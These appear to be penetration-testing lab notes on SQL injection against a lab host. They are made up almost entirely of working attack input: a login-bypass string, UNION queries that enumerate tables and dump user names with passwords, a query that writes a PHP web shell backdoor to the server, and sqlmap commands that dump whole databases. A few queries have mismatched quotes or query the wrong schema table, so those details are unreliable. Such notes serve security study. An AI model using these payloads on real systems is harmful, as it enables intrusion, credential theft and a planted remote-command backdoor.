SQL injection

1. Authentication bypass
    a. Bad code: ```$query= ‘select * from users where name = ‘$user’ and password = ‘$pass’”;```
    b. Exploited by tricking the database into validating
        i. ```Select * from users where name=’wronguser’ or 1=1 LIMIT 1; # and password=’wrongpass’;```
    c. This can be used in a faulty webapp: ```wronguser' or 1=1 LIMIT 1;#```
2. Enumerating databases
    a. Test by adding a quote or double quote after the ID parameter
    b. Error = vulnerable server
    c. Column enumeration ```http://10.11.1.35/comment.php?id=738 order by 1```
        i. Increment the value until an error is received, there are 1 less columns than the number used to trigger the error
        ii. Use “union all select” statement to expose information ```http://10.11.1.35/comment.php?id=738 union all select 1,2,3,4,5,6```
    d. Extracting information from the database
        i. MySQL version ```http://10.11.1.35/comment.php?id=738 union all select 1,2,3,4,@@version,6```
        ii. Current user ```http://10.11.1.35/comment.php?id=738 union all select 1,2,3,4, user(),6```
        iii. Tables and column structures
            1. ```http://10.11.1.35/comment.php?id=738 union all select 1,2,3,4,table_name,6 FROM information_schema.tables```
            2. ```http://10.11.1.35/comment.php?id=738 union all select 1,2,3,4,column_name,6 FROM information_schema.tables where table_name=’users’```
        iv. Names and passwords ```http://10.11.1.35/comment.php?id=738 union all select 1,2,3,4,concat(name,0x3a,password) ,6 FROM users```
        v. Depending on the OS and privileges, may be able to write to the underlying OS
            1. ```http://10.11.1.35/comment.php?id=738 union all select 1,2,3,4,”<?php echo shell_exec($_GET[‘cmd’]);?>”,6 into OUTFILE “c:/xampp/htdocs/backdoor.php’```
3. SQLMap
    a. Sqlmap – can be used to identify and exploit SQL injection vulnerabilities
        i. Crawl: ```sqlmap -u http://10.11.1.35 --crawl=1```
        ii. Automate extraction: ```sqlmap -u http://10.11.1.35/comment.php?id=738 –dbms=mysql –dump –thread=5```